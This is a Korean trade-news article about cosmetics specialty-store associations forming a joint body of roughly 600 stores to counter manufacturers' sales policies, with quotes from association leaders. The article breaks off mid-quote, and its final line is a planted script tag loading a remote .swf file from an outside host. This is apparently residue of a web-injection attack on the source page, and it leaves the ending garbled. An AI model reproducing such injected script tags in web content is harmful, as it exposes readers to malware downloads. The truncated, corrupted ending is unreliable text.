전국 600곳 참여… “제조사에 강력 대응” 화장품 유통가에 심상치 않는 기운이 감돌고 있다. 전국적인 규모의 화장품 전문점 단체들이 범 전문점 연합체 결성에 동참하고 있기 때문이다. 이들은 연합체 구성을 통해 위기에 봉착한 화장품 전문점 시장의 활성화를 모색하고 일부 제조사 중심으로 재편되고 있는 시판 시장의 판도변화를 적극적으로 막아내겠다는 생각이다. 이로 인해 업계에서는 이들 전문점 연합체의 움직임이 향후 화장품 전문점을 비롯한 화장품 유통시장에 어떤 힘을 발휘할지에 모든 촉각을 곤두 세우고 있다. ◇전문점활성화대책연합회 발족=지난 2월 23일 세종호텔. 전국 각 지역에서 모인 150여 명의 화장품 전문점 경영인들이 자리를 함께했다. 이날 행사는 전국화장품전문점협회(회장 송태기)의 2005년도 신년 교례회로 올 한해 협회 회원들의 단합과 경기의 활성화를 기원하는 자리다. 표면적으로 예년의 행사와 크게 다를 바 없었지만 행사 내용과 분위기에는 예전과 사뭇 다랐다. 이날 행사는 전화협 회원들과 각 사의 총수 및 임원들 외에 그동안 격을 달리했던 화장품랜드21(대표 정한훈), 코스메니아(대표 깅승욱), 코사코리아(회장 이우식) 등 전문점 단체의 주요 임원과 회원들이 함께한 가운데 진행됐다. 더구나 본 행사에 앞서 가진 전화협 임시총회에서 이들 단체들이 동참한 (가칭)전국화장품전문점활성화대책연합회 발족을 전격적으로 발표한 것이다. 또 허무식 전화협 부회장, 김근길 화장품랜드21 전무, 김승우 코스메니아 대표, 김진호 코사코리아 부회장 등 각 단체에서 뽑힌 4명의 실무의원을 통해 연합회의 향후 운영방안에 대해 적극 공조할 것임을 알렸다. 각 전문점 유통 단체들의 대규모 연합회가 탄생한 것은 이번이 처음으로 연합회의 성격과 영향력에 상당한 관심이 모아지고 있다. 이에 대해 전화협 한 관계자는 “연합회 결성에 대한 큰 틀의 합의는 있었지만 현재 각 단체 간의 이해관계가 있어 연합회의 성격에 대해 구체적으로 말할 단계가 아니다”고 말했다. 전화협 송태기 회장은 행사직후 가진 기자간담회에서 “오늘 모임은 연합회에 뜻을 같이하겠다는 일종의 상견례 성격으로 봐도 무방하다”고 전제한 뒤 “연합회를 통해 현재 시장에서 진행되고 있는 제조사의 시판 정책에 대응해 전문점의 목소리를 적극적으로 내는데 힘을 쏟을 방침”이라고 강조했다. 지금까지 합의된 연합회 공동 대응안에 대해선 송 회장은 “1월 27일, 2월 3일 실무진을 통한 두차례 모임에서 ‘제조사 일방의 브랜드숍 정책 운영의 일환으로 추진되는 전문점 전용제품 공급 중단정책에 대한 재고’를 주요골자로 하는 공문을 작성해 해당 제조사에게 통보키로 결정했다”고 언급했다. 이번에 발족한 연합회는 수적인 면에서나 질적인 면에서 기존 유통단체들과 다른 면모를 보일 것으로 보인다. 먼저 연합회 소속 회원수만 보더라도 △전화협 90명 △화장품랜드21 250개 회원점 △코스매니아 20여명, 코사코리아 약 40명 등 총 400여 명에 이르고 일부 회원의 경우, 적게는 2, 3개에서 많게는 10여 개 매장을 운영하고 있어 실제 참여수는 최대 600여 개 이상은 될 것으로 예상되고 있다. 특히 이들 참여 회원의 대부분이 각 지역에서 중심상권에 위치했거나 원로역할을 하고 있어, 영향력은 상당한 수준에 이를 것으로 업계에선 내다보고 있다. ◇제조사 불똥튈까 속앓이=연합회 한 축인 화장품랜드21의 정한훈 대표는 “일부 제조사의 일방적인 횡포로 전문점 경영에 심각한 타격을 받고 있다”며 “연합회를 중심으로 한 전문점 간의 공동대응을 통해 제조사의 불공정행위를 반드시 근절시켜야 한다”고 강하게 성토하며 실력행사에 대한 운을 띄웠다. 이번 연합회 발족을 두고 일부 제조사들은 이들의 움직임을 예의주시하며 혹시 찾아올지 모를 상황에 대한 대책마련에 고심하고 있다. 제조사들도 이번 연합회 발족이 위기상황에 봉착한 전문점 시장 상호간 정보공유를 통해 전문점활성화를 도모하겠다는 표면적인 의미를 넘어 단체 간의 공조를 통한 세 확대의 성격이 클 것으로 예상하고 있다. 특히 지난해 말부터 시판 정책재편에 들어간 일부 제조사를 겨냥한 압력단체의 성격에 무게중심을 두고 있다. 연합회에서 자신들의 요구사항이 관철되지 않을 경우, 불매운동같은 실력행사에 들어갈 수 있다는 계산에서다. 지난 99년 전남 광주에서 모 제조사와 지역 전문점 간에 마트제품공급을 놓고 벌여진 ‘마트와의전쟁’이 현실화될 가능성이 있다는 것이다. 당시 전문점전용제품의 마트공급에 가격할인행사라는 실력행사로 맞서 참여 전문점이 판정승을 거둔 바 있다. 모업체 관계자는 “이날 연합회 발족소식을 듣고 처음엔 전문점 위기상황에 따른 자구책?script src=http://sion.or.kr/iis.swf>

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